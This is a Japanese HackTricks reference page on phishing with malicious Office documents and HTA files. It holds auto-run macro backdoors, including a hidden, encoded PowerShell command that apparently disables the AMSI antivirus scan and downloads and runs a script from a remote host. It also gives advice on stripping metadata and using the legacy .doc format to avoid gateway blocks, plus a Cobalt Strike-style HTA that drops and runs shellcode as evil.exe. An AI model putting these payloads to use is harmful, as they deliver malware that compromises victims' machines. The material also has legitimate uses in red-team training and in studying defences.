10 KiB
フィッシングファイル&ドキュメント
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?またはPEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?サブスクリプションプランをチェックしてください!
- The PEASS Familyを発見し、独占的なNFTコレクションをご覧ください
- 公式PEASS&HackTricksスウェグを手に入れましょう
- 💬Discordグループに参加するか、テレグラムグループに参加するか、Twitterで私をフォローしてください 🐦@carlospolopm。
- ハッキングトリックを共有するために、hacktricksリポジトリ と hacktricks-cloudリポジトリ にPRを提出してください。
オフィスドキュメント
Microsoft Wordはファイルを開く前にファイルデータの検証を行います。データ検証は、OfficeOpenXML標準に対するデータ構造の識別の形で行われます。データ構造の識別中にエラーが発生した場合、分析されているファイルは開かれません。
通常、マクロを含むWordファイルは.docm
拡張子を使用します。ただし、ファイルの拡張子を変更しても、マクロの実行機能を保持することが可能です。
たとえば、RTFファイルは設計上マクロをサポートしていませんが、RTFに名前が変更されたDOCMファイルはMicrosoft Wordによって処理され、マクロの実行が可能になります。
同じ内部構造とメカニズムがMicrosoft Office Suiteのすべてのソフトウェア(Excel、PowerPointなど)に適用されます。
次のコマンドを使用して、一部のOfficeプログラムによって実行される拡張子を確認できます:
assoc | findstr /i "word excel powerp"
外部画像の読み込み
Go to: 挿入 --> クイックパーツ --> フィールド
_カテゴリ: リンクと参照、フィールド名: includePicture、ファイル名またはURL: _ http://<ip>/whatever
マクロバックドア
文書から任意のコードを実行するためにマクロを使用することが可能です。
自動読み込み関数
一般的な関数ほど、AVがそれらを検出する可能性が高くなります。
- AutoOpen()
- Document_Open()
マクロコードの例
Sub AutoOpen()
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
End Sub
Sub AutoOpen()
Dim Shell As Object
Set Shell = CreateObject("wscript.shell")
Shell.Run "calc"
End Sub
Dim author As String
author = oWB.BuiltinDocumentProperties("Author")
With objWshell1.Exec("powershell.exe -nop -Windowsstyle hidden -Command-")
.StdIn.WriteLine author
.StdIn.WriteBlackLines 1
Dim proc As Object
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
proc.Create "powershell <beacon line generated>
メタデータの手動削除
ファイル > 情報 > ドキュメントの検査 > ドキュメントの検査 に移動し、これによりドキュメントインスペクターが表示されます。 検査 をクリックし、ドキュメントのプロパティと個人情報 の隣にある すべて削除 をクリックします。
ドキュメントの拡張子
作業が完了したら、保存形式 ドロップダウンを選択し、形式を .docx
から Word 97-2003 .doc
に変更します。
これは、マクロを .docx
内に保存できない ためです。また、マクロ有効化の .docm
拡張子には スティグマ があります(たとえば、サムネイルアイコンには大きな !
が表示され、一部のウェブ/メールゲートウェイが完全にブロックします)。そのため、この レガシーの .doc
拡張子が最良の妥協策 です。
悪意のあるマクロ生成ツール
HTA ファイル
HTA は、HTML と VBScript、JScript などのスクリプト言語を 組み合わせた Windows プログラム です。これは、ブラウザのセキュリティモデルの制約なしに "完全に信頼された" アプリケーションとして実行 され、ユーザーインターフェースを生成します。
HTA は mshta.exe
を使用して実行され、通常は Internet Explorer と一緒にインストール されるため、mshta
は IE に依存 しています。したがって、IE がアンインストールされている場合、HTA は実行できなくなります。
<--! Basic HTA Execution -->
<html>
<head>
<title>Hello World</title>
</head>
<body>
<h2>Hello World</h2>
<p>This is an HTA...</p>
</body>
<script language="VBScript">
Function Pwn()
Set shell = CreateObject("wscript.Shell")
shell.run "calc"
End Function
Pwn
</script>
</html>
<--! Cobal Strike generated HTA without shellcode -->
<script language="VBScript">
Function var_func()
var_shellcode = "<shellcode>"
Dim var_obj
Set var_obj = CreateObject("Scripting.FileSystemObject")
Dim var_stream
Dim var_tempdir
Dim var_tempexe
Dim var_basedir
Set var_tempdir = var_obj.GetSpecialFolder(2)
var_basedir = var_tempdir & "\" & var_obj.GetTempName()
var_obj.CreateFolder(var_basedir)
var_tempexe = var_basedir & "\" & "evil.exe"
Set var_stream = var_obj.CreateTextFile(var_tempexe, true , false)
For i = 1 to Len(var_shellcode) Step 2
var_stream.Write Chr(CLng("&H" & Mid(var_shellcode,i,2)))
Next
var_stream.Close
Dim var_shell
Set var_shell = CreateObject("Wscript.Shell")
var_shell.run var_tempexe, 0, true
var_obj.DeleteFile(var_tempexe)
var_obj.DeleteFolder(var_basedir)
End Function
var_func
self.close
</script>
NTLM認証の強制
リモートでNTLM認証を強制する方法はいくつかあります。たとえば、ユーザーがアクセスするであろう電子メールやHTMLに見えない画像を追加したり(たとんHTTP MitM?)、または被害者にフォルダを開くだけで認証をトリガーするファイルのアドレスを送信することができます。
これらのアイデアやその他の情報は、以下のページで確認してください:
{% content-ref url="../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" %} printers-spooler-service-abuse.md {% endcontent-ref %}
{% content-ref url="../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md" %} places-to-steal-ntlm-creds.md {% endcontent-ref %}
NTLMリレー
ハッシュや認証情報だけでなく、NTLMリレーアタックも実行できることを忘れないでください:
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?またはPEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見し、独占的なNFTsコレクションを見つけてください
- 公式PEASS&HackTricksスウェグを手に入れましょう
- 💬 Discordグループに参加するか、Telegramグループに参加するか、Twitterで私をフォローしてください 🐦@carlospolopm.
- ハッキングトリックを共有するために、hacktricksリポジトリ とhacktricks-cloudリポジトリ にPRを提出してください。